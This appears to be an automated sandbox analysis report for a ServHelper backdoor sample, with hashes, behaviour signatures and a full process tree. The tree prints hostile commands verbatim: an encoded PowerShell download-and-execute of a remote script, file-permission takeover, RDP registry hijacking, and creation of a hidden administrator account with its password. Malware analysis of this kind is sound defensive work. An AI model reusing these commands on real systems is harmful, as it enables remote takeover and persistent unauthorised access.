Analysis

  • max time kernel
    150s
  • max time network
    114s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    12-07-2021 23:36

General

  • Target

    1d3ee4783ce7a30a7fd422f5abe7ba25.exe

  • Size

    5.7MB

  • MD5

    1d3ee4783ce7a30a7fd422f5abe7ba25

  • SHA1

    81073e407e3e61f102c414e797e99a46cb31d766

  • SHA256

    f9fe730178dcb234b908d759db705a9f78c1505df5bd5c09a5369a6f9ed2363b

  • SHA512

    5218273891d304f9ddb88c61e984fcee2b955b8789292419e3f78c6d48dbf35dcadb77dd9f7942175bafb4a96a2462c3f48886e277fe861c124548f995f652df

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1d3ee4783ce7a30a7fd422f5abe7ba25.exe
    "C:\Users\Admin\AppData\Local\Temp\1d3ee4783ce7a30a7fd422f5abe7ba25.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1340
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\v5qhvwj0\v5qhvwj0.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1112
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1056.tmp" "c:\Users\Admin\AppData\Local\Temp\v5qhvwj0\CSC18E5638CA40B4094A8B05A588434E139.TMP"
          4⤵
            PID:1328
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1752
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1888
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1272
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1644
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:824
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:928
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1864
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1416
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:412
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1588
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1600
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1836
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1388
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1284
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:576
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:732
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1664
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1112
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1876
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1312
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1644
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:824
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1860
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1992
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:412
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:436
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1480
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1996
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:364
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc 4aukgOVk /add
                                  1⤵
                                    PID:1148
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc 4aukgOVk /add
                                      2⤵
                                        PID:576
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc 4aukgOVk /add
                                          3⤵
                                            PID:660
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1112
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1864
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:412
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                              1⤵
                                                PID:568
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                  2⤵
                                                    PID:1480
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                      3⤵
                                                        PID:1272
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:576
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:584
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1592
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc 4aukgOVk
                                                          1⤵
                                                            PID:1864
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc 4aukgOVk
                                                              2⤵
                                                                PID:1664
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc 4aukgOVk
                                                                  3⤵
                                                                    PID:1888
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1872
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1752
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1584
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1876
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1272
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:740
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1536

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/1272-150-0x000000001AC04000-0x000000001AC06000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1272-149-0x000000001AC00000-0x000000001AC02000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1340-87-0x00000000028E0000-0x00000000028E1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1340-70-0x000000001ABA0000-0x000000001ABA2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1340-86-0x000000001C3D0000-0x000000001C3D1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1340-85-0x000000001AB20000-0x000000001AB21000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1340-83-0x0000000002730000-0x0000000002731000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1340-75-0x000000001B580000-0x000000001B581000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1340-73-0x0000000002670000-0x0000000002671000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1340-72-0x00000000023C0000-0x00000000023C1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1340-67-0x000007FEFBE41000-0x000007FEFBE43000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1340-68-0x0000000002380000-0x0000000002381000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1340-102-0x000000001ABAA000-0x000000001ABC9000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1340-69-0x000000001AC20000-0x000000001AC21000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1340-157-0x000000001C770000-0x000000001C771000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1340-71-0x000000001ABA4000-0x000000001ABA6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1536-202-0x0000000019550000-0x0000000019552000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1536-203-0x0000000019554000-0x0000000019556000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1536-234-0x000000001955A000-0x0000000019579000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1676-62-0x0000000041B62000-0x0000000041B64000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1676-59-0x00000000002A0000-0x0000000000E86000-memory.dmp

                                                                        Filesize

                                                                        11.9MB

                                                                      • memory/1676-60-0x0000000042250000-0x00000000424FA000-memory.dmp

                                                                        Filesize

                                                                        2.7MB

                                                                      • memory/1676-64-0x0000000041B66000-0x0000000041B67000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1676-63-0x0000000041B64000-0x0000000041B66000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1676-65-0x0000000041B67000-0x0000000041B68000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1752-96-0x0000000002400000-0x0000000002401000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1752-93-0x000000001AC20000-0x000000001AC22000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1752-98-0x000000001AB60000-0x000000001AB61000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1752-94-0x000000001AC24000-0x000000001AC26000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1752-100-0x0000000002740000-0x0000000002741000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1752-101-0x0000000002070000-0x0000000002071000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1752-107-0x000000001BDE0000-0x000000001BDE1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1752-121-0x000000001B550000-0x000000001B551000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1752-120-0x000000001AC10000-0x000000001AC11000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1888-127-0x000000001ACB0000-0x000000001ACB2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1888-132-0x0000000002640000-0x0000000002641000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1888-128-0x000000001ACB4000-0x000000001ACB6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1888-130-0x0000000002570000-0x0000000002571000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1888-134-0x000000001AC50000-0x000000001AC51000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1888-135-0x0000000002490000-0x0000000002491000-memory.dmp

                                                                        Filesize

                                                                        4KB